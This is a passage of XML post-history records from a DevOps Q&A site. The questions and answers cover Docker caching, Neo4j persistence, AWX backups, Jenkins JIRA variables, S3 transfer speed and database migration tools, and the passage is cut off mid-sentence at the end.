  <row Id="15071" PostHistoryTypeId="2" PostId="4799" RevisionGUID="723c48b4-92c7-4765-8c56-6949f5b22253" CreationDate="2018-08-21T06:27:18.867" UserId="9333" Text="I have got my docker image called `samplecontainer`,&#xD;&#xA;during build I am not specifying `--cache-from` option.&#xD;&#xA;&#xD;&#xA;Is it possible to know which image is used during build as cache?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15072" PostHistoryTypeId="1" PostId="4799" RevisionGUID="723c48b4-92c7-4765-8c56-6949f5b22253" CreationDate="2018-08-21T06:27:18.867" UserId="9333" Text="Docker - which cache is used to build image" ContentLicense="CC BY-SA 4.0" />
  <row Id="15073" PostHistoryTypeId="3" PostId="4799" RevisionGUID="723c48b4-92c7-4765-8c56-6949f5b22253" CreationDate="2018-08-21T06:27:18.867" UserId="9333" Text="&lt;docker&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15074" PostHistoryTypeId="2" PostId="4800" RevisionGUID="69b38d0b-585d-4d47-9866-28a436282ea5" CreationDate="2018-08-21T08:04:00.327" UserId="8460" Text="I am trying to run a Django project in docker swarm mode. The problem is I want to index the Elastic search container which needs to be run only after postgres completes the SQL dumping process (only in the first run). How can I do this? Any solutions." ContentLicense="CC BY-SA 4.0" />
  <row Id="15075" PostHistoryTypeId="1" PostId="4800" RevisionGUID="69b38d0b-585d-4d47-9866-28a436282ea5" CreationDate="2018-08-21T08:04:00.327" UserId="8460" Text="Executing a command in running docker swarm service" ContentLicense="CC BY-SA 4.0" />
  <row Id="15076" PostHistoryTypeId="3" PostId="4800" RevisionGUID="69b38d0b-585d-4d47-9866-28a436282ea5" CreationDate="2018-08-21T08:04:00.327" UserId="8460" Text="&lt;docker&gt;&lt;docker-swarm&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15077" PostHistoryTypeId="2" PostId="4801" RevisionGUID="b5b11889-f5a5-4d1b-892b-85125321a98d" CreationDate="2018-08-21T09:23:58.100" UserId="6775" Text="You can run the history command to see the different layers of your container&#xD;&#xA;&#xD;&#xA;    docker history samplecontainer&#xD;&#xA;On the result you can see the image id of each layer" ContentLicense="CC BY-SA 4.0" />
  <row Id="15081" PostHistoryTypeId="5" PostId="4564" RevisionGUID="66241d90-0663-46bf-8487-fe20d007e7df" CreationDate="2018-08-21T12:31:57.427" UserId="3062" Comment="added 94 characters in body" Text="Closing this issue as we were able to modify the process with the teams involved to be able to define the variable when the release is created.&#xD;&#xA;&#xD;&#xA;Our answer is to modify the existing process and accompanying software to remove this need" ContentLicense="CC BY-SA 4.0" />
  <row Id="15088" PostHistoryTypeId="2" PostId="4803" RevisionGUID="8fdce3ff-00d4-4c46-af0d-e22d5c970b14" CreationDate="2018-08-21T13:50:26.560" UserId="2494" Text="What are the best ways to monitor load on an ELK stack?&#xD;&#xA;&#xD;&#xA;Is there anything built in?&#xD;&#xA;&#xD;&#xA;We have tried Prometheus and Grafana. Currently it is not set up on our cluster and we are tight with resources." ContentLicense="CC BY-SA 4.0" />
  <row Id="15089" PostHistoryTypeId="1" PostId="4803" RevisionGUID="8fdce3ff-00d4-4c46-af0d-e22d5c970b14" CreationDate="2018-08-21T13:50:26.560" UserId="2494" Text="Visibility into ELK Stack Load" ContentLicense="CC BY-SA 4.0" />
  <row Id="15090" PostHistoryTypeId="3" PostId="4803" RevisionGUID="8fdce3ff-00d4-4c46-af0d-e22d5c970b14" CreationDate="2018-08-21T13:50:26.560" UserId="2494" Text="&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15091" PostHistoryTypeId="2" PostId="4804" RevisionGUID="fb521d27-c787-48f0-b6d0-ce6e3eeda9ef" CreationDate="2018-08-21T14:15:07.087" UserId="8332" Text="I'm using Datadog which has a really great EKS plugin that works really well with the other AWS integrations.&#xD;&#xA;&#xD;&#xA;Downside is cost, which is $15 per node on the basic plan." ContentLicense="CC BY-SA 4.0" />
  <row Id="15095" PostHistoryTypeId="50" PostId="3112" RevisionGUID="0b500efb-20b4-4503-98f6-302baf313335" CreationDate="2018-08-21T18:02:56.173" UserId="-1" />
  <row Id="15096" PostHistoryTypeId="2" PostId="4806" RevisionGUID="f743486d-c5bb-4705-a77f-c2e2ddaa7ebf" CreationDate="2018-08-21T18:37:42.040" UserId="9348" Text="I am trying to create a new image based on the `neo4j:latest` image. What is the proper way to persist to a new image and run a container based on the image?&#xD;&#xA;&#xD;&#xA;I have these goals:&#xD;&#xA;&#xD;&#xA;* Save the new password I assigned to the database.&#xD;&#xA;* Keep data stored in the database.&#xD;&#xA;&#xD;&#xA;I am using &#xD;&#xA;    Windows 10&#xD;&#xA;    Docker Community Edition Version 18.06.0-ce-win72 (19098)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is what I have tried:&#xD;&#xA;&#xD;&#xA;1. Start a container from neo4j:latest.&#xD;&#xA;&#xD;&#xA;I used this docker-compose.yml:&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      neo4j:&#xD;&#xA;        image: neo4j:latest&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;7474:7474&quot;&#xD;&#xA;          - &quot;7687:7687&quot;    &#xD;&#xA;    networks:&#xD;&#xA;      webnet:&#xD;&#xA;&#xD;&#xA;2. Connect to neo4j using a browser. I set a new password, as is required.&#xD;&#xA;&#xD;&#xA;`http://localhost:7474/browser/`&#xD;&#xA;&#xD;&#xA;3. Load data into the database using a script run on my host. I verified that the database now contains nodes and relationships.&#xD;&#xA;&#xD;&#xA;4. Commit the container to an image.&#xD;&#xA;&#xD;&#xA;`docker commit --author=&quot;Jacob Quisenberry&quot; c5c3f2998895 jquisenberry/graphdb:latest`&#xD;&#xA;&#xD;&#xA;5. Push the image to my repository.&#xD;&#xA;&#xD;&#xA;`docker push jquisenberry/graphdb:latest`&#xD;&#xA;&#xD;&#xA;6. Run the image&#xD;&#xA;&#xD;&#xA;`docker run --expose=7474 --expose=7687 -p 7474:7474 -p 7687:7687 jquisenberry/graphdb:latest`&#xD;&#xA;&#xD;&#xA;7. Connect using a browser.&#xD;&#xA;&#xD;&#xA;I expected not to have to enter a new password and for my data to be intact.Instead, I am required to enter a new password. My database now lacks nodes and relationships.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15097" PostHistoryTypeId="1" PostId="4806" RevisionGUID="f743486d-c5bb-4705-a77f-c2e2ddaa7ebf" CreationDate="2018-08-21T18:37:42.040" UserId="9348" Text="Persist Changes to New Docker Image - neo4j" ContentLicense="CC BY-SA 4.0" />
  <row Id="15098" PostHistoryTypeId="3" PostId="4806" RevisionGUID="f743486d-c5bb-4705-a77f-c2e2ddaa7ebf" CreationDate="2018-08-21T18:37:42.040" UserId="9348" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15105" PostHistoryTypeId="6" PostId="4791" RevisionGUID="69332121-f113-46a8-8ce4-7c985ad69bc8" CreationDate="2018-08-21T20:22:18.767" UserId="3766" Comment="added a tag" Text="&lt;ansible&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15106" PostHistoryTypeId="24" PostId="4791" RevisionGUID="69332121-f113-46a8-8ce4-7c985ad69bc8" CreationDate="2018-08-21T20:22:18.767" Comment="Proposed by 3766 approved by -1 edit id of 764" ContentLicense="CC BY-SA 4.0" />
  <row Id="15107" PostHistoryTypeId="5" PostId="4791" RevisionGUID="c860cd6a-0eec-416a-a228-d4a1f00d851b" CreationDate="2018-08-21T20:22:18.767" UserId="40" Comment="deleted 23 characters in body; edited title" Text="Currently we have an `awx` running on a `VM` using containers:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID     IMAGE                        COMMAND                  CREATED             STATUS              PORTS                                                 NAMES&#xD;&#xA;    dfb9fa57a8eb    ansible/awx_task:latest      &quot;/tini -- /bin/sh -c…&quot;   2 months ago        Up 6 days           8052/tcp                                              awx_task_1&#xD;&#xA;    60dcb5340ca5    ansible/awx_web:latest       &quot;/tini -- /bin/sh -c…&quot;   2 months ago        Up 6 days           0.0.0.0:80-&gt;8052/tcp                                  awx_web_1&#xD;&#xA;    e80aaddee738    postgres:9.6                 &quot;docker-entrypoint.s…&quot;   2 months ago        Up 6 days           5432/tcp                                              awx_postgres_1&#xD;&#xA;    54f20decccfe    ansible/awx_rabbitmq:3.7.4   &quot;docker-entrypoint.s…&quot;   2 months ago        Up 6 days           4369/tcp, 5671-5672/tcp, 15671-15672/tcp, 25672/tcp   awx_rabbitmq_1&#xD;&#xA;    0e7ed8c75796    memcached:alpine             &quot;docker-entrypoint.s…&quot;   2 months ago        Up 6 days           11211/tcp                                             awx_memcached_1&#xD;&#xA;&#xD;&#xA;What is the recommended way for backing up our `awx` instance:&#xD;&#xA;&#xD;&#xA;a) Take an export of the VM using `ovf`?&#xD;&#xA;&#xD;&#xA;b) Just copying the volume where the pgdata is held enough?&#xD;&#xA;&#xD;&#xA;c) Running &#xD;&#xA;&#xD;&#xA;    docker exec -t &lt;postrges_container_id&gt; pg_dumpall -c -U postgres &gt; dump_`date +%d-%m-%Y&quot;_&quot;%H_%M_%S`.sql&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15108" PostHistoryTypeId="4" PostId="4791" RevisionGUID="c860cd6a-0eec-416a-a228-d4a1f00d851b" CreationDate="2018-08-21T20:22:18.767" UserId="40" Comment="deleted 23 characters in body; edited title" Text="How to take a backup of Ansible tower?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15109" PostHistoryTypeId="2" PostId="4808" RevisionGUID="82f76795-8c1d-4475-aeb4-78888b6aa731" CreationDate="2018-08-21T21:43:53.150" UserId="9351" Text="I have jenkins job for with `GitHub Pull Request Builder`.&#xD;&#xA;&#xD;&#xA;In build, I added first step to set the `JIRA_ISSUE` variable.&#xD;&#xA;&#xD;&#xA;**JIRA: Add related environment variables to build**&#xD;&#xA;    &#xD;&#xA;    Extracts JIRA information for the build to environment variables.&#xD;&#xA;    Available variables:&#xD;&#xA;    JIRA_ISSUES - A comma separated list of issues which are referenced in the version control system changelog&#xD;&#xA;    JIRA_URL - Primary URL for the JIRA server&#xD;&#xA;    Typical usage:&#xD;&#xA;    &#xD;&#xA;    Add this build step&#xD;&#xA;    Use the &quot;Progress JIRA issues by workflow action&quot; or &quot;Move issues matching JQL to the specified version&quot; with JQL like:&#xD;&#xA;    issue in (${JIRA_ISSUES})&#xD;&#xA;&#xD;&#xA;Second step is to update these jira issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;builders&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraEnvironmentVariableBuilder plugin=&quot;jira@3.0.0&quot;/&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraIssueUpdateBuilder plugin=&quot;jira@3.0.0&quot;&gt;&#xD;&#xA;          &lt;jqlSearch&gt;issue in (${JIRA_ISSUES})&lt;/jqlSearch&gt;&#xD;&#xA;          &lt;workflowActionName&gt;Ready for Review&lt;/workflowActionName&gt;&#xD;&#xA;          &lt;comment&gt;add comment&lt;/comment&gt;&#xD;&#xA;        &lt;/hudson.plugins.jira.JiraIssueUpdateBuilder&gt;&#xD;&#xA;    &lt;/builders&gt;&#xD;&#xA;&#xD;&#xA;When I create PR, and it trigger the job, it not set `JIRA_ISSUES`&#xD;&#xA;&#xD;&#xA;    GitHub pull request #356 of commit 2e2b92d107a5460c4cc593fcab78c63f800d6472, no merge conflicts.&#xD;&#xA;    Setting status of 2e2b92d107a5460c4cc593fcab78c63f800d6472 to PENDING with url https://myjenkins.com/job/cicd-myjob-prtest-unittest/69/ and message: 'running tox...'&#xD;&#xA;    Using context: tox testing&#xD;&#xA;    [EnvInject] - Loading node environment variables.&#xD;&#xA;    Building remotely on myslave.node.box.com (linux) in workspace /var/lib/jenkins/workspace/cicd-myjob-prtest-unittest&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://mygithub.com/myuser/myproject.git # timeout=10&#xD;&#xA;    Fetching upstream changes from https://mygithub.com/myuser/myproject.git&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;    using GIT_ASKPASS to set credentials Github Service Account Username with token&#xD;&#xA;     &gt; git fetch --tags --progress https://mygithub.com/myuser/myproject.git +refs/pull/*:refs/remotes/origin/pr/*&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/pr/356/merge^{commit} # timeout=10&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/origin/pr/356/merge^{commit} # timeout=10&#xD;&#xA;    Checking out Revision 0ff9e43bbc1385303429f7bcf93fea36e8c455d3 (refs/remotes/origin/pr/356/merge)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 0ff9e43bbc1385303429f7bcf93fea36e8c455d3&#xD;&#xA;    Commit message: &quot;Merge 2e2b92d107a5460c4cc593fcab78c63f800d6472 into 731994024e723b1257374f521b4784060df9e5b5&quot;&#xD;&#xA;    First time build. Skipping changelog.&#xD;&#xA;    [JIRA] Setting JIRA_ISSUES to .&#xD;&#xA;    [JIRA] Updating issues using workflow action Ready for Review.&#xD;&#xA;    [JIRA] JQL: issue in ()&#xD;&#xA;    [JIRA] Updating issue MYPROJECT-1234&#xD;&#xA;    Setting status of 2e2b92d107a5460c4cc593fcab78c63f800d6472 to SUCCESS with url https://myjenkins.com/job/cicd-myjob-prtest-unittest/69/ and message: 'All is well.&#xD;&#xA;     '&#xD;&#xA;    Using context: tox testing&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;The `[JIRA] Updating issue MYPROJECT-1234` is from `publisher`&#xD;&#xA;&#xD;&#xA;    &lt;publishers&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraIssueUpdater plugin=&quot;jira@3.0.0&quot;&gt;&#xD;&#xA;          &lt;issueSelector class=&quot;hudson.plugins.jira.selector.JqlIssueSelector&quot;&gt;&#xD;&#xA;            &lt;jql&gt;issue=MYPROJECT-1234&lt;/jql&gt;&#xD;&#xA;          &lt;/issueSelector&gt;&#xD;&#xA;          &lt;labels/&gt;&#xD;&#xA;        &lt;/hudson.plugins.jira.JiraIssueUpdater&gt;&#xD;&#xA;    &lt;/publishers&gt;&#xD;&#xA;&#xD;&#xA;If I look for change log for commit `2e2b92d107a5460c4cc593fcab78c63f800d6472` it has the jira issue in comment and title.&#xD;&#xA;&#xD;&#xA;    commit 2e2b92d107a5460c4cc593fcab78c63f800d6472 (HEAD -&gt; MYPROJECT-1234, origin/MYPROJECT-1234)&#xD;&#xA;    Author: myuser &lt;myuser@mygithub.com&gt;&#xD;&#xA;    Date:   Tue Aug 21 15:55:41 2018 -0500&#xD;&#xA;    &#xD;&#xA;        MYPROJECT-1234: Tox testing&#xD;&#xA;    &#xD;&#xA;        MYPROJECT-1234 change the data.&#xD;&#xA;&#xD;&#xA;Why `JiraEnvironmentVariableBuilder` is not able to set `JIRA_ISSUES` to `MYPROJECT-1234`? while same exists in changelog." ContentLicense="CC BY-SA 4.0" />
  <row Id="15110" PostHistoryTypeId="1" PostId="4808" RevisionGUID="82f76795-8c1d-4475-aeb4-78888b6aa731" CreationDate="2018-08-21T21:43:53.150" UserId="9351" Text="JIRA plugin on jenkins not set the JIRA_ISSUES variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="15111" PostHistoryTypeId="3" PostId="4808" RevisionGUID="82f76795-8c1d-4475-aeb4-78888b6aa731" CreationDate="2018-08-21T21:43:53.150" UserId="9351" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15112" PostHistoryTypeId="50" PostId="3144" RevisionGUID="3fe05c58-581e-4a1e-b6ee-5a15c6b09a91" CreationDate="2018-08-22T00:02:15.813" UserId="-1" />
  <row Id="15113" PostHistoryTypeId="4" PostId="4670" RevisionGUID="61088673-e813-4ca4-8a79-9517fa51ceb2" CreationDate="2018-08-22T03:51:25.897" UserId="40" Comment="edited title" Text="How to access Wordpress and AngularJs code in one url?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15114" PostHistoryTypeId="2" PostId="4809" RevisionGUID="4d6b454f-854f-42a4-900d-439194643704" CreationDate="2018-08-22T05:23:22.460" UserId="9355" Text="Regarding to [Neo4j with Docker][1] and [Insallation: Docker][2]&#xD;&#xA;&#xD;&#xA;&gt; /data to allow the database to be persisted outside its container.&#xD;&#xA;&gt;&#xD;&#xA;&gt; /logs to allow access to Neo4j log files.&#xD;&#xA;&#xD;&#xA;I understand that we should mount the `/data` to the host machine so that the new password is persisted as the following example.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    docker run \&#xD;&#xA;        --publish=7474:7474 --publish=7687:7687 \&#xD;&#xA;        --volume=/path/to/neo4j/data:/data \&#xD;&#xA;        --volume=/path/to/neo4j/logs:/logs \&#xD;&#xA;        neo4j:latest&#xD;&#xA;&#xD;&#xA;Note, the `/path/to/neo4j` is a physical directory on the host machine.&#xD;&#xA;&#xD;&#xA;  [1]: https://neo4j.com/developer/docker/&#xD;&#xA;  [2]: https://neo4j.com/docs/operations-manual/current/installation/docker/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15115" PostHistoryTypeId="5" PostId="4809" RevisionGUID="94a84941-13ae-489e-8923-0543418d84bf" CreationDate="2018-08-22T07:21:21.473" UserId="9355" Comment="Add the initial password  setting during docker run." Text="Regarding to [Neo4j with Docker][1] and [Insallation: Docker][2]&#xD;&#xA;&#xD;&#xA;&gt; /data to allow the database to be persisted outside its container.&#xD;&#xA;&gt;&#xD;&#xA;&gt; /logs to allow access to Neo4j log files.&#xD;&#xA;&#xD;&#xA;I understand that we should mount the `/data` to the host machine so that the new password is persisted as the following example.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    docker run \&#xD;&#xA;        --publish=7474:7474 --publish=7687:7687 \&#xD;&#xA;        --volume=/path/to/neo4j/data:/data \&#xD;&#xA;        --volume=/path/to/neo4j/logs:/logs \&#xD;&#xA;        neo4j:latest&#xD;&#xA;&#xD;&#xA;Note, the `/path/to/neo4j` is a physical directory on the host machine.&#xD;&#xA;&#xD;&#xA;### Edit1&#xD;&#xA;&#xD;&#xA;To set password, the [Insallation: Docker][2] mentions as&#xD;&#xA;&#xD;&#xA;&gt; By default Neo4j requires authentication and requires you to login with `neo4j/neo4j` at the first connection and set a new password. &#xD;&#xA;&gt;&#xD;&#xA;&gt; You can set the password for the Docker container directly by specifying `--env NEO4J_AUTH=neo4j/&lt;password&gt;` in your run directive. Alternatively, you can disable authentication by specifying `--env NEO4J_AUTH=none` instead.&#xD;&#xA;&#xD;&#xA;Then the docker run should be&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    docker run \&#xD;&#xA;        --publish=7474:7474 --publish=7687:7687 \&#xD;&#xA;        --env NEO4J_AUTH=neo4j/&lt;password&gt; \&#xD;&#xA;        --volume=/path/to/neo4j/data:/data \&#xD;&#xA;        --volume=/path/to/neo4j/logs:/logs \&#xD;&#xA;        neo4j:latest&#xD;&#xA;&#xD;&#xA;Anyhow for the `/data`, I only achieve with mounting it to the host machine.&#xD;&#xA;&#xD;&#xA;  [1]: https://neo4j.com/developer/docker/&#xD;&#xA;  [2]: https://neo4j.com/docs/operations-manual/current/installation/docker/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15116" PostHistoryTypeId="50" PostId="4153" RevisionGUID="72d72da2-2d3b-4425-a0a2-15fbc33d3172" CreationDate="2018-08-22T08:00:33.720" UserId="-1" />
  <row Id="15117" PostHistoryTypeId="2" PostId="4810" RevisionGUID="b7029b91-a86f-4100-bac4-63ea39ac4e6e" CreationDate="2018-08-22T08:46:16.937" UserId="9333" Text="I've got problem with my Dockerfile. &#xD;&#xA;After building an image it is pushed to repository as `cache-image`, so on next builds I can pull it and use with `--cache-from`.&#xD;&#xA;&#xD;&#xA;Problem is that build stops using cache after first `ADD` command.&#xD;&#xA;&#xD;&#xA;    Step 20/30 : WORKDIR $PROJECT_PATH&#xD;&#xA;    ---&gt; Using cache&#xD;&#xA;    ---&gt; d79e2ba28d96&#xD;&#xA;    Step 21/30 : ADD requirements $PROJECT_PATH/requirements&#xD;&#xA;    ---&gt; 6261bb0bd3e6&#xD;&#xA;    Removing intermediate container 26707f4107c9&#xD;&#xA;&#xD;&#xA;I ran both images (cache and built one) and checked content of requirements directory, they're both identical.&#xD;&#xA;Whole build is done on Bamboo worker." ContentLicense="CC BY-SA 4.0" />
  <row Id="15118" PostHistoryTypeId="1" PostId="4810" RevisionGUID="b7029b91-a86f-4100-bac4-63ea39ac4e6e" CreationDate="2018-08-22T08:46:16.937" UserId="9333" Text="Docker ADD always invalidates cache" ContentLicense="CC BY-SA 4.0" />
  <row Id="15119" PostHistoryTypeId="3" PostId="4810" RevisionGUID="b7029b91-a86f-4100-bac4-63ea39ac4e6e" CreationDate="2018-08-22T08:46:16.937" UserId="9333" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15120" PostHistoryTypeId="2" PostId="4811" RevisionGUID="bdded8a3-12a1-44b7-9409-0499216d71c1" CreationDate="2018-08-22T11:37:47.210" UserId="2941" Text="How do I configure jenkins to restart the agent for **each** build?&#xD;&#xA;&#xD;&#xA;I tried to use &quot;*launch method: launch agent via execution of command on the master*&quot; in combintation with &quot;*availability: take this agent online when in demand, and offline when idle*&quot; but it has two drawbacks:&#xD;&#xA;&#xD;&#xA;1. (not critical) build starts with a delay of about one minute.&#xD;&#xA;1. (critical) the node goes offline only a minute after the end of the build, and if another build starts at that time, **the same** still running agent will be used (even if there are several similarly configured free nodes).&#xD;&#xA;&#xD;&#xA;There is even a plugin ([scripted cloud plugin](https://wiki.jenkins.io/display/JENKINS/Scripted+Cloud+plugin)) that, according to the description, should be suitable, but it does not work, probably because its code is outdated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15121" PostHistoryTypeId="1" PostId="4811" RevisionGUID="bdded8a3-12a1-44b7-9409-0499216d71c1" CreationDate="2018-08-22T11:37:47.210" UserId="2941" Text="Restart agent for each build" ContentLicense="CC BY-SA 4.0" />
  <row Id="15122" PostHistoryTypeId="3" PostId="4811" RevisionGUID="bdded8a3-12a1-44b7-9409-0499216d71c1" CreationDate="2018-08-22T11:37:47.210" UserId="2941" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15123" PostHistoryTypeId="2" PostId="4812" RevisionGUID="8a58de53-ca4b-4f1f-a4d1-8adf6bf20bdb" CreationDate="2018-08-22T11:45:50.430" UserId="7730" Text="Check the image history of your two images with `docker image history`. Pay careful attention to the sha256 checksum of the files being added on the `ADD` line. Docker performs a checksum on the files, including some of the metadata on these files, so a single byte change or a permission update will result in a cache miss.&#xD;&#xA;&#xD;&#xA;Once you've checked this, if it is not your issue, please update the question with the pull command, the build command and full output, and the history command on both images.&#xD;&#xA;&#xD;&#xA;Side note: you likely want to use `COPY` instead of `ADD` unless you are pulling remote files or extracting a tar file into a directory." ContentLicense="CC BY-SA 4.0" />
  <row Id="15131" PostHistoryTypeId="2" PostId="4814" RevisionGUID="eaecefb6-0545-4e78-a86c-cc627131d715" CreationDate="2018-08-22T16:16:06.633" UserId="9367" Text="**TL;DR**&#xD;&#xA;Try reducing the number of concurrent connections used by awscli to 1 using this command: `aws configure set default.s3.max_concurrent_requests 1`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You could be experiencing an issue with the number of concurrent connections that the awscli is opening, if you are using the `aws s3` commands (not `aws s3api`). &#xD;&#xA;&#xD;&#xA;In the [cli user guide][1] under the Managing Objects section you will see that all high-level upload commands on an S3 Bucket beyond a large object threshold (awscli default 8MB) will use a multipart upload.&#xD;&#xA;&#xD;&#xA;I couldn't find anything about the use of concurrent connections when using the web console, but looking at the output of `lsof` I could see my browser was only opening a single connection for a ~500MB file download, whereas using `aws cp` 10 concurrent connections were being opened. So this would appear to be the key difference in behaviour - at least with my browser and test case.&#xD;&#xA;&#xD;&#xA;Running a quick, dirty test with the default (10) connections and then 1 concurrent connection, my download completed in the following times:&#xD;&#xA;```&#xD;&#xA;s3.max_concurrent_requests=10	8m22.965s&#xD;&#xA;s3.max_concurrent_requests=1    6m47.772s&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So it seems the overhead of the extra connections can sometimes cause slower downloads/uploads over my network, rather than making them faster, which could be what you are experiencing.&#xD;&#xA;&#xD;&#xA;You could also try tweaking some of the other defaults around how multipart operations are handled which may yield better performance over your network, listed here: https://docs.aws.amazon.com/cli/latest/topic/s3-config.html. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/userguide/using-s3-commands.html#using-s3-commands-managing-objects" ContentLicense="CC BY-SA 4.0" />
  <row Id="15132" PostHistoryTypeId="2" PostId="4815" RevisionGUID="14fb6fb4-077f-4956-a16d-4eb4fcfd5e24" CreationDate="2018-08-22T17:04:10.487" UserId="9369" Text="I've been tasked to find a way to automate promotion of database creation, changes and other modification related to application changes in a devops world.  &#xD;&#xA;My databases include MS SQL, Oracle, MySQL and could include NoSQL databases.&#xD;&#xA;I've been doing what I can with web searches and all I seem to be able to find are powershell maintenance scripts (backups, rebuild indexes, etc). Nothing really about taking DDL out of a VCS like subversion, using jenkins or other tool to then apply those changes to either an existing database or create a new database. Our databases are a mixture of on-prem and AWS, with future Azure possible.  &#xD;&#xA;I did find a TOAD tool that will be available later this year that seems to do this, however I'm trying to see if there is a less expensive way.  &#xD;&#xA;I've been developing applications, databases and supporting the same for 40 years. I can figure it out - however I'd like to not have to recreate the wheel if one exists. Or if there is a best practices, or if there is someone else that has tools they use.  &#xD;&#xA;Thanks in advance for any assistance." ContentLicense="CC BY-SA 4.0" />
  <row Id="15133" PostHistoryTypeId="1" PostId="4815" RevisionGUID="14fb6fb4-077f-4956-a16d-4eb4fcfd5e24" CreationDate="2018-08-22T17:04:10.487" UserId="9369" Text="Does anyone have resources, tools, ideas, for automating database create, update, modify, delete" ContentLicense="CC BY-SA 4.0" />
  <row Id="15134" PostHistoryTypeId="3" PostId="4815" RevisionGUID="14fb6fb4-077f-4956-a16d-4eb4fcfd5e24" CreationDate="2018-08-22T17:04:10.487" UserId="9369" Text="&lt;jenkins&gt;&lt;deployment&gt;&lt;databases&gt;&lt;subversion&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15135" PostHistoryTypeId="50" PostId="4157" RevisionGUID="dc20f040-08d1-4254-8846-134e38dc665c" CreationDate="2018-08-22T18:00:32.967" UserId="-1" />
  <row Id="15136" PostHistoryTypeId="50" PostId="3421" RevisionGUID="028e2d63-0114-4e4b-a3ee-feba0c9afa63" CreationDate="2018-08-22T20:00:32.230" UserId="-1" />
  <row Id="15137" PostHistoryTypeId="5" PostId="4815" RevisionGUID="b0fee450-9a85-44db-af73-1abef4bf33bd" CreationDate="2018-08-22T20:42:17.853" UserId="9369" Comment="The suggested question does not completely address my question" Text="I've been tasked to find a way to automate promotion of database creation, changes and other modification related to application changes in a devops world.  &#xD;&#xA;My databases include MS SQL, Oracle, MySQL and could include NoSQL databases.&#xD;&#xA;I've been doing what I can with web searches and all I seem to be able to find are powershell maintenance scripts (backups, rebuild indexes, etc). Nothing really about taking DDL out of a VCS like subversion, using jenkins or other tool to then apply those changes to either an existing database or create a new database. Our databases are a mixture of on-prem and AWS, with future Azure possible.  &#xD;&#xA;I did find a TOAD tool that will be available later this year that seems to do this, however I'm trying to see if there is a less expensive way.  &#xD;&#xA;I've been developing applications, databases and supporting the same for 40 years. I can figure it out - however I'd like to not have to recreate the wheel if one exists. Or if there is a best practices, or if there is someone else that has tools they use.  &#xD;&#xA;Thanks in advance for any assistance.&#xD;&#xA;&#xD;&#xA;The suggested question from over a year ago has some ideas, however it is not close to what I'm looking for. All the answers are over a year old, and as we know software changes at almost a weekly rate. The answers in that question help if I have to &quot;roll my own&quot; solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="15138" PostHistoryTypeId="2" PostId="4816" RevisionGUID="9aa63562-8d64-458c-b12d-092c7f36ce7c" CreationDate="2018-08-22T21:22:25.403" UserId="4175" Text="Database *migrations* are a pretty standard thing for a long time, I believe - not related that much to DevOps, though obviously needed.&#xD;&#xA;&#xD;&#xA;There are ready-made tools which are agnostic of your programming environment, i.e., not directly tied to whatever ORM the devs are using.&#xD;&#xA;&#xD;&#xA;Strategies of how to actually decide which DDLs/DMLs to feed to the DB might vary; i.e., in the simplest case you just keep track of one global &quot;DB version&quot;; or you have a table which lists individual migrations that have been applied already; or you define a &quot;wanted&quot; state of the DB, and the tool then creates the need DDLs itself to change whatever state the DB is in right now to the new one.&#xD;&#xA;&#xD;&#xA;One example of such a standalone tool would be Liquibase (open source), which has a plethora of ways to be configured. I mention that because you say you don't have much time, and it is rather quick to get going - it has one mode where the &quot;configuration&quot; is just a simple file of SQL intermixed with flat (and small) meta information as SQL comments.&#xD;&#xA;&#xD;&#xA;The biggest challenge, in my experience is how to handle *changing* of data structures; one way would be to make all migrations such that they never lose any data, and never break existing code (or data). I.e., you would almost never include a `DROP TABLE` or `ALTER TABLE DROP COLUMN` in just any migration, but would let stuff drop out of use, and when a table, or column (or whatever other DB object) finally 